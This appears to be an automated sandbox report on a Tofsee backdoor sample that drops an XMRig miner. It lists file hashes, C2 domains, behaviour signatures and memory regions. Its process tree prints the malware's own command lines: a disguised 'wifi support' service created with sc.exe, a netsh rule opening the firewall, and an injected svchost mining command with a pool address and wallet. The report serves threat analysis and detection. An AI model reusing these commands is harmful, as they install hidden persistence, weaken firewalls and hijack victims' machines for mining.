Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-05-2023 00:09

General

  • Target

    file.exe

  • Size

    234KB

  • MD5

    1a0aa2a4834e1fbe2da672a2dd629c92

  • SHA1

    78f861410e03a72115005cdb54214af6189c8c4e

  • SHA256

    d5178474cc5b93e7f726ae674f20d2b3faffdc7bf6c498bac28f14e9857cc459

  • SHA512

    30bae92e12f30b621a37589bf7ce91331db6e0ea5d4b8f2ee7333e53f5cb5783cfe634b025ea8eec99561fe9137cfdd870265c64f25c41c6fd7d17ea8e945277

  • SSDEEP

    3072:Ap+d48tF8JfG1R2povLjuV6wsUx5zDIXU83h+tiS16gfN3VVEEMp3VJZ:dtz3vOVh53I98tOgF3NMplJZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3336
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oisbjshb\
      2⤵
        PID:3752
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hbbtwgkw.exe" C:\Windows\SysWOW64\oisbjshb\
        2⤵
          PID:5068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oisbjshb binPath= "C:\Windows\SysWOW64\oisbjshb\hbbtwgkw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oisbjshb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2000
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oisbjshb
          2⤵
          • Launches sc.exe
          PID:428
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:220
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3336 -s 1036
          2⤵
          • Program crash
          PID:2832
      • C:\Windows\SysWOW64\oisbjshb\hbbtwgkw.exe
        C:\Windows\SysWOW64\oisbjshb\hbbtwgkw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4104
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1560
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1360 -s 440
          2⤵
          • Program crash
          PID:4700
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 3336 -ip 3336
        1⤵
          PID:1856
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 1360 -ip 1360
          1⤵
            PID:4168

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hbbtwgkw.exe

            Filesize

            10.0MB

            MD5

            dad370cf9313b8ef54d03e069e7ee6a0

            SHA1

            d2e4914589700cb7758464de28f875e7fd138dac

            SHA256

            095755a4bea5e752f9bfdd4c02d586e471c1a05e2342ad934c1c4c3b46c20a8d

            SHA512

            fa166c92e57f88478b0c63422f9bf88f5a2a02baff69a69b3503b074bdf8e8a0ff6481050f9c6c3db66a57ddb4763b874559d321772c49035a498b943971ff80

          • C:\Windows\SysWOW64\oisbjshb\hbbtwgkw.exe

            Filesize

            10.0MB

            MD5

            dad370cf9313b8ef54d03e069e7ee6a0

            SHA1

            d2e4914589700cb7758464de28f875e7fd138dac

            SHA256

            095755a4bea5e752f9bfdd4c02d586e471c1a05e2342ad934c1c4c3b46c20a8d

            SHA512

            fa166c92e57f88478b0c63422f9bf88f5a2a02baff69a69b3503b074bdf8e8a0ff6481050f9c6c3db66a57ddb4763b874559d321772c49035a498b943971ff80

          • memory/1360-145-0x0000000000400000-0x00000000006B8000-memory.dmp

            Filesize

            2.7MB

          • memory/1560-197-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1560-199-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1560-200-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1560-198-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1560-196-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1560-195-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1560-194-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/1560-189-0x0000000000800000-0x00000000008F1000-memory.dmp

            Filesize

            964KB

          • memory/3336-139-0x00000000007C0000-0x00000000007D3000-memory.dmp

            Filesize

            76KB

          • memory/3336-138-0x0000000000400000-0x00000000006B8000-memory.dmp

            Filesize

            2.7MB

          • memory/3336-134-0x00000000007C0000-0x00000000007D3000-memory.dmp

            Filesize

            76KB

          • memory/4104-167-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-174-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-161-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-162-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-163-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-164-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-165-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-166-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-157-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-168-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-169-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-170-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-171-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-172-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-173-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-160-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-176-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-175-0x0000000001DE0000-0x0000000001DF0000-memory.dmp

            Filesize

            64KB

          • memory/4104-177-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

            Filesize

            20KB

          • memory/4104-180-0x0000000001DF0000-0x0000000001DF5000-memory.dmp

            Filesize

            20KB

          • memory/4104-181-0x0000000007600000-0x0000000007A0B000-memory.dmp

            Filesize

            4.0MB

          • memory/4104-184-0x0000000007600000-0x0000000007A0B000-memory.dmp

            Filesize

            4.0MB

          • memory/4104-185-0x0000000002BD0000-0x0000000002BD7000-memory.dmp

            Filesize

            28KB

          • memory/4104-154-0x0000000001DD0000-0x0000000001DD6000-memory.dmp

            Filesize

            24KB

          • memory/4104-153-0x0000000002600000-0x000000000280F000-memory.dmp

            Filesize

            2.1MB

          • memory/4104-150-0x0000000002600000-0x000000000280F000-memory.dmp

            Filesize

            2.1MB

          • memory/4104-149-0x0000000000A50000-0x0000000000A65000-memory.dmp

            Filesize

            84KB

          • memory/4104-147-0x0000000000A50000-0x0000000000A65000-memory.dmp

            Filesize

            84KB

          • memory/4104-146-0x0000000000A50000-0x0000000000A65000-memory.dmp

            Filesize

            84KB

          • memory/4104-144-0x0000000000A50000-0x0000000000A65000-memory.dmp

            Filesize

            84KB

          • memory/4104-141-0x0000000000A50000-0x0000000000A65000-memory.dmp

            Filesize

            84KB